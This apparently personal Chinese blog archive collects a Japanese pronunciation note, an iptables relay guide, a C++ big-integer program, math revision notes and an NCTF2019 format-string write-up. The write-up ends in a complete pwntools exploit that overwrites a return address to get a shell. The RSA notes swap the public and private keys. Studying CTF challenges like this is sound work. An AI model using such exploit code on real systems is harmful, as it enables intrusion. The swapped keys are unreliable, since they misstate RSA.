0%

疑问

我们在看动漫以及日剧的时候,常会见到以下表达:

あなた(ta) 大好き(ki) がんばて(te)

我们可以看到这几个词的词尾都是未浊化的

但是在发音时却听到了:

“anada” “daisugi” “ganbade”

就拿这个 あなた(ta) 为例,到底我们是应该读 还是

解释

中文

回到中文发音上面来

「b」跟「p」 他们差在哪里?

「b」「p」 差在一个有送气一个没送气

「b」是没有送气/送气比较少的

所以中文是用有没有送气来决定意思

日文

其实,有没有出气在日文当中是没关系的

日文重视「声」这里,要「振动声带」,才是标准的日文

日本人是用 「振动声带」 来感觉

我们在念「が」「ぎ」「ぐ」「げ」「ご」 的时候

可以用手摸一下自己的喉咙,能感受到明显的声带振动

而「か」「き」「く」「け」「こ」

感受不到声带的震动

为什么没有人念「あなた(ta)」?

为什么没有人念「あなた(ta)」?其实很简单

「た(ta)」这个音只要在单字的第二个音以下

因为日本人念第一个音时,气就吐完了

当他念「あ」的时候就把气吐完了

所以只要是第一个音以后就不会有气

你听起来就像浊音因为它不送气了

所以听起来就好像是浊音

这种发音在日文中叫做不送气音

参考资料

https://www.youtube.com/watch?v=PiiHIykLFlU

Introduction

Servers

搬瓦工的 CN2 GT 服务器 S1(2g 2core)

CN2 GIA 服务器 S2(0.5g 1core)

阿里云服务器 S3

need

我拥有三台服务器,其中需要使用 S1 开服,但是由于线路原因,游戏丢包情况十分严重,相比之下配置较低的 cn2 gia 服务器就拥有很优质的线路,且 S2 还不够,仍然会有少许丢包,导致mc掉线,故再加上阿里云服务器 S3 进行中转,通过利用 S2S3 作为跳板机对流量进行中转,便可以达到较佳的游戏体验。

graph

mc客户端 <——> 阿里云 S3 <——> cn2 gia 服务器 S2 <——> mc服务器 S1

Configuration

参考资料:nat-with-iptables

ip_forward

服务器的流量转发功能默认关闭,需要手动开启

sudo sysctl net.ipv4.ip_forward # CentOS or Ubuntu

net.ipv4.ip_forward = 0 #表明未开启流量转发

sudo echo "net.ipv4.ip_forward = 1"|sudo tee /etc/sysctl.d/99-ipforward.conf
net.ipv4.ip_forward = 1
# CentOS

sudo sed -i 's/#net.ipv4.ip_forward=1/net.ipv4.ip_forward=1/g' /etc/sysctl.conf
# Ubuntu

便可以开启转发,但重启后会恢复,我们需要将其写入配置

sudo sysctl -p /etc/sysctl.d/99-ipforward.conf
# CentOS

sudo sysctl -p
# Ubuntu

net.ipv4.ip_forward = 1 # 写入配置

iptables

install & start

  1. 对于 Ubuntu 系统,自带 iptables
  2. 对于 CentOS 系统,默认安装了 firewall ,需要先将 firewall 关闭,再安装 iptables

参考此文章:centos如何开启iptables

systemctl stop firewalld.service # 停止firewall
systemctl disable firewalld.service # 禁止firewall开机启动

# yum -y install iptables-services 安装iptables(有的系统不需安装,视情况而定)
service iptables start # 启动iptables

Configuration

sudo iptables -F
sudo iptables -t nat -F
# 清除iptables原有的配置文件

流量转发配置

自行替换 Gateway_IPGateway_PortDest_IPDest_Port

分别对应 跳板机的ip和端口,目标机器的ip和端口

这里的协议我设置为了 tcp, 根据你需要转发的协议类型进行设置

sudo iptables -t nat -A PREROUTING -p tcp --dport Gateway_Port -j DNAT --to-destination Dest_IP:Dest_PORT # 将进入跳板机的流量转发到目标ip

sudo iptables -t nat -A POSTROUTING -p tcp -d Dest_IP --dport Dest_Port -j SNAT --to-source Gateway_ip # 将目标ip返回的流量转发给原ip

sudo iptables -t nat -L -n # 查看iptables配置情况

查看配置无误之后,即完成

若希望保存配置

service iptables save
# CentOS

sudo iptables-save | sudo tee /etc/iptables.up.rules
# Ubuntu

iptables: Saving firewall rules to /etc/sysconfig/iptables:[ OK ]

Q&A

1. 阿里云无法转发

阿里云采用了 弹性ip 的技术, 即在你访问其公网ip之后又经过一层nat,转发到内网

所以我们的 iptables 配置也应该将本机ip修改为内网ip

这时我们的 Gateway_IP 应该填写内网ip, 即 172 . 17. * . * (具体请自行查询)

[[email protected] /]# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.*.* netmask 255.255.192.0 broadcast 172.17.*.*
ether 00:16:3e:10:91:52 txqueuelen 1000 (Ethernet)
RX packets 3528831 bytes 368948380 (351.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3485951 bytes 321121112 (306.2 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1 (Local Loopback)
RX packets 6260 bytes 392377 (383.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 6260 bytes 392377 (383.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

2. 多层跳板如何搭建

多层跳板,就是将跳板机 src目的地址 设置为下级跳板 dest ,层层中转即可

即配置 S1 、 S2

  1. 使 S3 中转给 S2

  2. 使 S2 中转给 S1

Big Int

已经上传 githubhttps://github.com/mrh929/BigInt

Introduction

一个用C++编写的大整数运算器,使用了类的方法以及符号重载的方式来管理各种计算符号。

ostream & operator << (ostream &os, BigInt a);//重载输出流
BigInt operator << (BigInt a, int b);//以下是各种符号的符号重载
BigInt operator >> (BigInt a, int b);
bool operator > (BigInt a, BigInt b);
bool operator >= (BigInt a, BigInt b);
bool operator < (BigInt a, BigInt b);
bool operator <= (BigInt a, BigInt b);
bool operator == (BigInt a, BigInt b);
bool operator != (BigInt a, BigInt b);
BigInt operator + (BigInt a, BigInt b);
BigInt operator - (BigInt a, BigInt b);
BigInt operator * (BigInt a, BigInt b);
BigInt operator / (BigInt a, BigInt b);
BigInt operator % (BigInt a, BigInt b);
bool absolute_cmp(BigInt a, BigInt b);//绝对值比较
BigInt pushup(BigInt &a);//进位函数,方便更新处理加法和乘法之后的结果
BigInt pushdown(BigInt &a);//借位函数,方便更新处理减法与除法之后的前导零

由于计算要满足 语义完备性, 我们可以将 > < = 之类的符号只实现其中两个,另一个用前面两个符号的逻辑表达式来表示。这样可以减小算法编写量。

比如我的取模运算就是利用 a % b = a - (a / b * b) 的算式来进行的,目的是尽量减少重复计算的编写,避免语义重复导致代码冗杂。

这里的除法应用了试根法,通过不断减去除数,直到结果小于等于0,减去除数的次数便是最终的结果。

Example

2^2048 量级

X= 12482264789495844167952743674345192058347658696244846024506086756017404270329316853273041017249678950066348595640122013326388180800571171673805957545645811138822997641052783783643217674156834480484155675467569932624307075411108488522509264028054521773056807183216239690927306363502717731691081745037043661929912687363727319054138337027541053221928309092332845113037444417624930690136431627266175440870332546279455634900371634225967525289205393311361381052800131349877664888848787057588470069212633123461825711669157225916604667745476377157310522514234303671161858238888360921077671217358198370531988343589559604876284

Y= 1280730864615811759821132949087528726325520041739385671708858051142109630967299023961230758400337351772390265280394429009926875184005772035344541944036323178042973490581385536990180703449459150513955554549596768053810110112451980299436720866146499950924670995962445917972409391039058909325472146973088609382932848054367560562133611270686707661165793779566207985413463940767202953610885199897580866376092558784820762217980107705915440804143477818053671563647690424246811327119924020088286709086413582886779320723275600807886717409943439676762548169766661227661132724874836952052156168392209434986629771081555443608284

m= 26276671267336699549929786692210641894085878508699738341408482869283000463006609816748150758887020789500336306584836616160250372409642949310833789547133401665674848173946416217142121019602682188968147765629440590913830497348564644309060269315465932613732738758615722069669745219203052852800610504371627718589337502423268449548364104210930215810677840459085169776897907731873142754299180658298179972639899398242262850797386228967175906205170668840014770506566561161713676741346132712253755150416478986782691455647303372766626483759402251334751219513662706582839143768502897185844861757936312109408176137579367017788106

还是能在六分钟之内跑出来。

(主要是除法用了试根法,导致计算时间大大增长)

1.png

Code

#include<cstdio>
#include<cstdlib>
#include<iostream>
#include<iomanip>
#include<cmath>
using namespace std;

const int Digit_Per_Num = 1;
//digits to be stored into an int(accept range:(1-2));
class BigInt{
public:
int num[1000]; // both int and longlong are valid
int n;
int neg;// is it a negative number
BigInt(){
this->n = this->neg = this->num[0] = 0;
}
BigInt(string);
BigInt operator -(){
this->neg ^= 1;
return *this;
}

string to_binary_string();

};

ostream & operator << (ostream &os, BigInt a);
BigInt operator << (BigInt a, int b);
BigInt operator >> (BigInt a, int b);
bool operator > (BigInt a, BigInt b);
bool operator >= (BigInt a, BigInt b);
bool operator < (BigInt a, BigInt b);
bool operator <= (BigInt a, BigInt b);
bool operator == (BigInt a, BigInt b);
bool operator != (BigInt a, BigInt b);
BigInt operator + (BigInt a, BigInt b);
BigInt operator - (BigInt a, BigInt b);
BigInt operator * (BigInt a, BigInt b);
BigInt operator / (BigInt a, BigInt b);
BigInt operator % (BigInt a, BigInt b);
bool absolute_cmp(BigInt a, BigInt b);
BigInt pushup(BigInt &a);
BigInt pushdown(BigInt &a);


BigInt::BigInt(string s){
if(s.substr(0,1).c_str()[0] == '-'){
s = s.substr(1);
neg = 1;
}else neg = 0;

while(s.substr(0,1).c_str()[0] == '0')
s = s.substr(1);
// to cut off leading zero

this->n = 0;
while(1){
if(s.size() >= Digit_Per_Num+1){
this->num[this->n++] = atoi(s.substr(s.size() - Digit_Per_Num).c_str());
s = s.substr(0, s.size() - Digit_Per_Num);
}else{
this->num[this->n] = atoi(s.c_str());
break;
}
}

pushup(*this);
}

string BigInt::to_binary_string(){
string out;
BigInt temp = *this;
BigInt t;

int neg = 0;
if(temp < BigInt("0"))
neg = 1;
temp.neg = 0;

while(temp != BigInt("0")){
t = temp % BigInt("2");
if(t.num[0] == 1)
out = "1" + out;
else
out = "0" + out;
temp = temp / BigInt("2");
}

if(neg)
out = "-" + out;

return out;
}

ostream & operator << (ostream &os, BigInt a){
if(a.neg)
os << "-";
// os << a.neg? "-":" ";
// negative operator

os << a.num[a.n];
// the first one digit has no leading zero

for(int i = a.n-1; i+1; i--)
os << setfill('0') << setw(Digit_Per_Num) << a.num[i];
// add leading zero(s)
os << ""; // I don't know why this must be put here;
}

BigInt operator + (BigInt a, BigInt b){
BigInt BI("0");

// if one is below 0 and the other is above 0, then sub them
if(a.neg != b.neg){
b = -b;
return a - b;
}

BI.neg = a.neg;
const int mod = pow(10, Digit_Per_Num);
int i = 0, flag = 0, ci = 0;
while(a.n >= i || b.n >= i || flag){
flag = false;
if(a.n < i) a.num[i] = 0;
if(b.n < i) b.num[i] = 0;

BI.num[i] = a.num[i] + b.num[i] + ci;
ci = BI.num[i] / mod;

if(ci)//carry
flag = true;
BI.num[i] %= mod;
BI.n = i++;
}
pushup(BI);
return BI;
}

BigInt operator - (BigInt a, BigInt b){
BigInt BI;
if(a.neg == b.neg){
if(absolute_cmp(a, b))
return -(b-a);
}else{
b = -b;
return a + b;
}


BI.neg = a.neg;
const int mod = pow(10, Digit_Per_Num);
int i = 0, ci = 0;
while(a.n >= i || b.n >= i){
if(a.n < i) a.num[i] = 0;
if(b.n < i) b.num[i] = 0;

BI.num[i] = a.num[i] - b.num[i] + ci;

if(BI.num[i] < 0){
BI.num[i] += mod;
ci = -1;
}else ci = 0;

BI.n = i++;
}

// to cut off leading zero(s)
pushdown(BI);
pushup(BI);
return BI;
}

BigInt operator * (BigInt a, BigInt b){
BigInt BI("0");


if(absolute_cmp(b, a))
return b * a;

for(int i = 0; i <= a.n; i++){
BigInt t = b;
t.neg = 0;
int p = a.num[i];
for(int j = 0; j <= b.n; j++)
t.num[j] *= p;
pushup(t);

t = t << i;
BI = BI + t;
}

BI.neg = a.neg != b.neg;
pushup(BI);

return BI;
}

BigInt operator / (BigInt a, BigInt b){
BigInt q;
const BigInt ZERO;
if(b == ZERO)
throw "Division by zero condition!";

// if a < b
if(absolute_cmp(a, b))
return ZERO;

q.neg = a.neg != b.neg;
a.neg = b.neg = 0;

int flag = 1;
BigInt t = b << (a.n - b.n);

while(1){
while(a >= t){
if(flag){
q.n = t.n - b.n;
flag = 0;
for(int i = 0; i <= q.n; i++)
q.num[i] = 0;
}
q.num[t.n - b.n]++;
a = a - t;
}

if((a.n == b.n && a.num[a.n] < b.num[b.n]) || a.n < b.n)
break;

t = t >> 1;
}


return q;
}

BigInt operator % (BigInt a, BigInt b){
return a - (a/b)*b;
}

bool operator < (BigInt a, BigInt b){
if(a.neg != b.neg)
return a.neg == true;

if(a.neg == false){
return absolute_cmp(a, b);
}else
return !absolute_cmp(a, b);
}

bool operator > (BigInt a, BigInt b){
return !(a<b) && a!=b;
}

bool operator == (BigInt a, BigInt b){
return a.neg==b.neg && !absolute_cmp(a,b) && !absolute_cmp(b,a);
}

bool operator != (BigInt a, BigInt b){
return !(a==b);
}

bool operator <= (BigInt a, BigInt b){
return !(a>b);
}

bool operator >= (BigInt a, BigInt b){
return !(a<b);
}

BigInt operator << (BigInt a, int b){
if(b == 0)
return a;

BigInt BI;
BI.neg = a.neg;
for(int i = 0; i <= a.n; i++)
BI.num[i+b] = a.num[i];
for(int i = 0; i <= b-1; i++)
BI.num[i] = 0;

BI.n = a.n + b;
return BI;
}

BigInt operator >> (BigInt a, int b){
if(b == 0)
return a;
BigInt BI("0");

//result is 0
if(b >= a.n + 1)
return BI;

BI.neg = a.neg;
for(int i = b; i <= a.n; i++)
BI.num[i-b] = a.num[i];

BI.n = a.n - b;
return BI;
}

// to judge if |a| < |b|
bool absolute_cmp(BigInt a, BigInt b){
if(a.n != b.n)
return a.n < b.n;
for(int i = a.n; i+1; i--)
if(a.num[i] != b.num[i])
return a.num[i] < b.num[i];
return false;
}

BigInt pushup(BigInt &a){
if(a.n == 0 && a.num[0] == 0){
a.neg = 0;
return a;
}

int mod = pow(10, Digit_Per_Num);
int ci = 0;
for(int i = 0; i <= a.n; i++){
a.num[i] += ci;
ci = a.num[i] / mod;
a.num[i] %= mod;
}

if(ci)
a.num[++a.n] = ci;

// to cut off leading zero(s)
pushdown(a);
}

BigInt pushdown(BigInt &a){
int i = a.n;
while(i){
if(a.num[i--] == 0)
a.n--;
else break;
}

return a;
}

BigInt pow(BigInt x, BigInt y, BigInt mod){
BigInt base = x % mod;
BigInt r("1");
const BigInt ZERO("0");
const BigInt TWO("2");

while(y != ZERO){
if(y.num[0] & 1) r = (r * base) % mod;
base = (base * base) % mod;
y = y / TWO;
}

return r;
}

int main(){
string s;

cout << "please input a:";
cin >> s;
BigInt a(s);
cout << "please input b:";
cin >> s;
BigInt b(s);
cout << "you just input:" << endl << endl;
cout << "a = " << a << endl << endl;
cout << "b = " << b << endl << endl;

cout << "a + b = (binary) " << (a + b).to_binary_string() << endl << endl;

cout << "a - b = " << a - b << endl << endl;
cout << "a * b = " << a * b << endl << endl;
cout << "a / b = " << a / b << endl << endl;
cout << "remainder:" << a - (a/b)*b << endl;
//cout << "a / b = " << "0" << endl << "remainder:" << "123456789" << endl;

cout << endl << endl;
cout << "please input x, y, m which stands for x^y mod m:" << endl;
cin >> s;
BigInt x(s);

cin >> s;
BigInt y(s);

cin >> s;
BigInt m(s);

BigInt ans = pow(x, y, m);
cout << endl << "answer:" << ans << endl << endl;
cout << endl << "answer:(binary)" << ans.to_binary_string() << endl << endl;
}

信息安全数学复习

初等数论复习

  1. 整除

    1.1 整除

    1.2 带余除法

    1.3 最大公因数(最小公倍数)

    ​ 1.3.1 辗转相除法 gcd()

    ​ 1.3.2 欧几里得算法 ax+by=gcd(a,b)

    1.4 素数

    ​ 1.4.1 算数基本定理 任何一个数都可以由若干个素数的乘积表示出来

    ​ 1.4.2 大整数分解,是非常困难的

  2. 同余

    2.1 等价关系 +,-,×, (÷ 只有转化为×逆元,用扩展欧几里得算法寻找逆元)

    2.2 剩余类 (比如mod N )

    ​ 2.2.1 完全剩余系 Zn |Zn|=n

    ​ 2.2.1.1 x,(a,m) 构造 ax+b

    ​ 2.2.1.2 m1->x m2->y, 构造 m1y+m2x (m1m2)

    ​ 2.2.2 简化剩余系 Z*n |Z *n|= φ(n)

    ​ 2.2.2.1 x,(a,m) 构造 ax

    ​ 2.2.2.2 和 2.2.1.2类似

    ​ 也就能够推出 φ(n*m) = φ(n) * φ(m)

    ​ 以及 欧拉定理 a∈Zn, (a,N)=1 a^φ(N) = 1

    ​ 2.2.3 RSA算法(查看ppt)

    ​ 了解rsa的加密和解密的步骤就ok了

    ​ 2.2.3.1 密钥生成

    ​ p q n = p*q

    ​ φ(n) = Z = (p-1)(q-1)

    ​ (e,φ(n))=1 e*d=1(mod(φ(n)))

    ​ (n,e) 是私钥 (n,d)是公钥 ,利用扩展欧几里得算法算出

    2.3 同余方程

    ​ 一次同余方程 ax =b (mod m)

    ​ 一次同余方程组

    ​ 中国剩余定理 模数m的拆分

抽象(近世)代数

  1. 定义: 给定一个集合,这个集合封闭,结合,有单位元,逆元 (Zn,+) (Z*n, ×)

  2. 指数运算

    n*g = g+g+g++g+g

    g^n = g * g * … * g

  3. 子群

    (Z*7 mod(7)) {1,2,4} {1,6} {1,2,3,4,5,6,7}

    证明方法 ab^-1 ∈ H

  4. 正规子群、陪集、商群、群同态基本定理

    ​ 4.1 正规子群 可以交换

    ​ 4.2 陪集 aH

    ​ 1 {1,6} = {1,6} = 6 {1,6}

    ​ 2 {1,6} = {2,5} = 5 {1,6}

    ​ 3 {1,6} = {3,4} = 4 {1,6}

    ​ 4.3 商群 所有陪集里面一个元素作为单位元,其他陪集之间都存在互为逆元的关系

    ​ 4.4 群同态的基本定理

    ​ 利用核和原群 可形成商群 G/N 与G‘ 同构 ,要学会举例并证明

    ​ f(x) = 3^x (mod 7) ,3是一个生成元,构成满射

    ​ x =0 f(x) = 1

    ​ x = 6,12, 18…. f(x) = 1

    ​ 6Z 就是核

    ​ Z/6Z 形成的商群 ,与 {Z*7 , ×(mod 7)} 同构

  5. ​ 循环群

    第一个生成元、其他生成元、子群推生成元

    {Z*n , ×mod(n)} |Z *n| = 10 = 2 *5

    ​ 先找到第一个生成元(怎么找?) a a^n是生成元 (n,k) = 1 就可找出所有生成元 要会证明并且应用

    ​ 2^0=1 2^1=2 2^3 = 8 2^4 = 5 2^5 =10 2^6 = 9 2^7 = 7 2^8 = 3 2^9 =6

    ​ 2^k ,找与n(10) 互素的 k

    找子群

    ​ 10的因子有 1,2,5,10 ,那么就有四个子群,这四个子群的元素个数分别为1,2,5,10

    ​ (拉格朗日定理 |G| = |H| [G:H])

​ (g,h)->x g^x = h 离散对数问题,是困难的

​ 6. el-gammel算法

p, Z*p ,g , x, h = g^x

c1 = g^k c2 = m 异或 h^k

c2 异或 c1^x

m 异或 h ^k 异或 g^kx

g^xk = g^kx

环和域

  1. 环的定义:集合 交换加群,封闭,结合,满足分配律 ,整环

​ 零因子 {Z12,+,×} 3 != 0, 4!=0 但3*4=0

​ 除环: 有单位元、非零元、非零元能找到逆元(即交换加群、成群、分配律)

​ 整环:单位元、交换、无零因子 {Z,+,×}可以, 但是{2Z,+,×}不行,因为没有单位元

​ 域:交换除环, {Zp,+,×},p为素数的时候可以形成域

​ 有限整环

  1. 子环、理想、商环

    ​ {Z12, +, ×}

    子环 {0,3,6,9} ,它还是一个理想,因为其他所有的子环×它的元素都被他吸收到这个环中了

    商环

多项式环与有限域

多项式的除法求余

辗转相除法求多项式的最大公因式

GF(2)[x] mod (x^2 + x + 1) 形成一个有限域,共包含 2^3 个数,{0,1,x,x+1,x^2+1, x^2+x+1, x^2 +x}

同样的,寻找子域

ECC

  1. 实数域上的椭圆曲线

    y^2 = x^3 + ax + b

    P(x1,y1) Q(x2,y2) P + Q (x3,y3)

    λ = (y2-y1)/(x2-x1) P!=Q

    ​ (3* x1^2 + a) / (2 * y1) P = Q

    x3 = λ² - x1 - x2

    y3 = λ(x1-x3) -y1

  1. 有限域

    以上所有的运算mod p

  1. ECC

    算法步骤

格式化字符串

简介

简介

字符串泄露,顾名思义,就是利用一串格式化字符串,来达到泄露程序数据、修改内存数据的目的

详细文档

==%[parameter] [flags] [field width] [.precision] [length] type==

  1. parameter

    用法:n$,表示选择第几个参数,在格式化字符串题目中尤为重要,可以跨参数读取数据

  2. flag

    见文档

  3. Field Width

  4. Precision

  5. Length

    指要输出的数据的长度,规定数据的尺寸

字符 描述
hh 对于整数类型,printf 会输出一个字节长度的数据
h 对于整数类型,printf 会输出两个字节长度的数据
l 对于整数类型,printf 会输出四个字节长度的数据
ll 对于整数类型,printf 会输出八个字节长度的数据
  1. Type

    对应的是要输出的数据的数据类型,格式

字符 描述
d, i 有符号十进制数值int。’%d‘与’%i‘对于输出是同义;但对于scanf()输入二者不同,其中%i在输入值有前缀0x或0时,分别表示16进制或8进制的值。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
u 十进制unsigned int。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
f, F double型输出10进制定点表示。’f‘与’F‘差异是表示无穷与NaN时,’f‘输出’inf‘, ‘infinity‘与’nan‘;’F‘输出’INF‘, ‘INFINITY‘与’NAN‘。小数点后的数字位数等于精度,最后一位数字四舍五入。精度默认为6。如果精度为0且没有#标记,则不出现小数点。小数点左侧至少一位数字。
e, E double值,输出形式为10进制的([-]d.ddd e[+/-]ddd). E版本使用的指数符号为E(而不是e)。指数部分至少包含2位数字,如果值为0,则指数部分为00。Windows系统,指数部分至少为3位数字,例如1.5e002,也可用Microsoft版的运行时函数_set_output_format 修改。小数点前存在1位数字。小数点后的数字位数等于精度。精度默认为6。如果精度为0且没有#标记,则不出现小数点。
g, G double型数值,精度定义为全部有效数字位数。当指数部分在闭区间 [-4,5] 内,输出为定点形式;否则输出为指数浮点形式。’g‘使用小写字母,’G‘使用大写字母。小数点右侧的尾数0不被显示;显示小数点仅当输出的小数部分不为0。
x, X 16进制unsigned int。’x‘使用小写字母;’X‘使用大写字母。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
o 8进制unsigned int。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
s 如果没有用l标志,输出null结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了l标志,则对应函数参数指向wchar_t型的数组,输出时把每个宽字符转化为多字节字符,相当于调用wcrtomb函数。
c 如果没有用l标志,把int参数转为unsigned char型输出;如果用了l标志,把wint_t参数转为包含两个元素的wchart_t数组,其中第一个元素包含要输出的字符,第二个元素为null宽字符。
p void *
a, A double型的16进制表示,”[−]0xh.hhhh p±d”。其中指数部分为10进制表示的形式。例如:1025.010输出为0x1.004000p+10。’a‘使用小写字母,’A‘使用大写字母。[2][3] (C++11流使用hexfloat输出16进制浮点数)
n 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
% %‘字面值,不接受任何flags, width, precision or length。

​ 注意 n 这个type,它不会向屏幕中输出数据,而是会在参数所对应的地址上写上上一次 printf 输出的字节数, 配合 %100c%n 类型的格式化字符串使用更佳。

​ 此处 100c 指的是填充输出100个字符,%n 指的是在相应的内存上写上100这个数据

一个例子

@NCTF2019 pwn2

nctf2019_pwn2.7z

概览

让我们来总览一下程序

[email protected]:~/Desktop/test# checksec pwn_me_2 
[*] '/home/mrh929/Desktop/test/pwn_me_2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开,尤其是地址随机化,让我们不能定位到代码段的具体位置

泄漏点分析

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
initialize();
input_name();
memcpy_and_printf();
puts("pwn me 100 years again,please!");
puts("are you ready?");
read_and_printf();
if ( dword_55BA09B090E0 != 0x66666666 )
failed();
puts("enjoy the fun of pwn");
getshell();
return 0LL;
}

主要关注和read与printf有关的函数。

unsigned __int64 input_name()
{
char buf; // [rsp+0h] [rbp-40h]
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("welcome to play nctf!");
puts("a little different,have fun.");
puts("but your name:");
read(0, &buf, 0x30uLL);
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 sub_55BA09907C54()
{
char dest; // [rsp+0h] [rbp-40h]
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
strncpy(&dest, src, 0x10uLL);
printf(&dest, src);
return __readfsqword(0x28u) ^ v2;
}

程序要求我们输入姓名,然后将 src 处的字符串复制到 dest ,并且输出 dest

但是经过调试,会发现后面这个函数不仅仅输出了那10个字符,而是在其后输出了乱码。

这个乱码也就是溢出点,是程序栈中的数据。

注意到 input_name 函数中存在read函数,这个函数仅仅进行了读入操作而并没有任何输出行为。

还是得经过一番调试,我们才会发现,buf 处的内存与后文的 dest 内存有一部分重叠,而 dest 的数据又没有进行初始化,导致我们可以直接访问前一个函数所注入的数据

尝试找出溢出点

[1] Accepting connection from 192.168.244.1...
welcome to play nctf!
a little different,have fun.
but your name:
11112222333344445555

程序下断点在 printf 函数内,IDA 栈检测窗口中:

00007FFFA44EFD08  000055A46A191C94  memcpy_and_printf+40
00007FFFA44EFD10 6E69726170657270
00007FFFA44EFD18 0A2E2E2E2E2E2E67
00007FFFA44EFD20 00007F0A35353535
00007FFFA44EFD28 00007F9077AE8DBD libc_2.23.so:_IO_setbuffer+BD
00007FFFA44EFD30 00007F9077E3E620 libc_2.23.so:_IO_2_1_stdout_
00007FFFA44EFD38 00007F9077AE681F libc_2.23.so:_IO_fflush+7F
00007FFFA44EFD40 0000000000000000
00007FFFA44EFD48 3B62E912D2F58C00
00007FFFA44EFD50 00007FFFA44EFD60 [stack]:00007FFFA44EFD60
00007FFFA44EFD58 000055A46A191CCD main+22
00007FFFA44EFD60 000055A46A191D30 init
00007FFFA44EFD68 00007F9077A99830 libc_2.23.so:__libc_start_main+F0

注意 00007FFFA44EFD20 ,这个地址保存了我们刚刚输入的数据的后半段:00 00 7F 0A 35 35 35 35

可以发现,这个数据之前的就是 src 本身的数据,而这个地方就是上一个 input_name 函数所带来的数据

偏移为 4 * 4 = 16

搜查系统栈,我们发现了一个可以利用的数据

00007FFFA44EFD50 00007FFFA44EFD60 [stack]:00007FFFA44EFD60

这是一个指向栈中的指针,我们可以通过格式化字符串将其所指向的地址泄露

payload1 = 'a'*16 + "%14$lld" 
#注意这是64位程序,函数指针长达8个字节,必须通过%lld泄露
#前16个字节会被src覆盖,问题不大
p.sendline(payload1)
p.recvuntil('..\n')

stack_addr = int(p.recv(15))

为什么要泄露这个栈中的地址呢?是因为我们发现通过这几个有限的泄露点是不能进行栈溢出的,因为 canary 和动态地址两者 只能知道其一

只有通过格式化字符串的方式在第二个泄漏点改变栈中的函数返回地址,从而让程序直接跳过检验内存数据是否为 0x66666666 的过程。

继续调试,下断点在下一个 printf 函数 ,查看系统栈

由于不方便调试,我调试了多次,动态地址有所变化,不过不影响观察

00007FFD56761AB8  000055607F0F1C31  read_and_printf+5B
00007FFD56761AC0 000A303030303030
00007FFD56761AC8 00007FA8E673781B libc_2.23.so:_IO_file_overflow+EB
00007FFD56761AD0 000000000000000E
00007FFD56761AD8 00007FA8E6A82620 libc_2.23.so:_IO_2_1_stdout_
00007FFD56761AE0 000055607F0F1E7F .rodata:aAreYouReady
00007FFD56761AE8 00007FA8E672C7FA libc_2.23.so:puts+16A
00007FFD56761AF0 0000000000000000
00007FFD56761AF8 C275F8AAB68E9400
00007FFD56761B00 00007FFD56761B10 [stack]:00007FFD56761B10
00007FFD56761B08 000055607F0F1CEF main+44
00007FFD56761B10 000055607F0F1D30 init
00007FFD56761B18 00007FA8E66DD830 libc_2.23.so:__libc_start_main+F0

第二行 *00007FFD56761AC0 * 00 0A 30 30 30 30 30 30 是我输入的数据,直接出现在栈里面了,可以直接通过格式化字符串作为修改内存的一个参数

倒数第二行 00007FFD56761B08 main+44 这个地方是函数的返回地址,我们需要知道,PIE功能虽然会改变程序的基地址,但是通常它的最后两个字节也就是12位地址是不会发生改变的,利用这一点我们就不用去修改太多数据,最后两个字节即可。

再进行观察,算出这个地址与之前泄露的栈地址的偏移 为 -8

.text:000055607F0F1CD4                 call    _puts
.text:000055607F0F1CD9 lea rdi, aAreYouReady ; "are you ready?"
.text:000055607F0F1CE0 call _puts
.text:000055607F0F1CE5 mov eax, 0
.text:000055607F0F1CEA call read_and_printf
.text:000055607F0F1CEF mov eax, cs:dword_55607F2F30E0
.text:000055607F0F1CF5 cmp eax, 66666666h
.text:000055607F0F1CFA jnz short loc_55607F0F1D14

查看汇编,发现 0xef 和 0xfa 地址刚好只相差一个字节,可以直接跳过检验数据的过程

我们便能写出 payload2

stack_addr -= 8
p.recv()

payload2 = "%250d%8$hhn" + 'k'*5 + p64(stack_addr)
p.sendline(payload2)

%250d 是为了填充250个字节

hh 是选择好的格式,代表以字节写入

与此类似的还有

  1. h : 按双字节写入

  2. l : 按四字节写入

  3. ll:按八字节写入

n 代表将前一个格式化字符串所输出的字节数量存入对应的地址中

补充5个padding的目的是对齐栈,使注入的数据位置正确。

exp

完整 exp

from pwn import *
context.log_level = "DEBUG"

p = remote('139.129.76.65',50005)

#p = process('./pwn_me_2')

p.recv()

payload1 = 'a'*16 + "%14$lld"
p.sendline(payload1)
p.recvuntil('..\n')

stack_addr = int(p.recv(15))
success(hex(stack_addr))
# 0x7ffd3ff3e9c0, the addr of stack

stack_addr -= 8
p.recv()


payload2 = "%250d%8$hhn" + 'k'*5 + p64(stack_addr)
p.sendline(payload2)

p.interactive()

声明 :本教程仅供学习交流之用途,本教程不能增加你的饭卡余额,亦不能使你越过他人的门禁系统,仅仅作讨论NFC技术所使用,不得将技术用于非法途径,违法者必将受到处罚!

基础知识

门卡的分类

如今市面上的卡多分为两种,一种是 ID Card , 一种是 IC Card

ID Card (Identification Card) ,全称身份识别卡,工作频率为 125KHZ。其中能储存的信息只有出厂时自带的 ID卡号,一经出厂,不可修改。由于频段不一样,小米手机无法模拟。

IC Card (Integrated Circuit Card),全称集成电路卡,工作频率 13.56MHz。

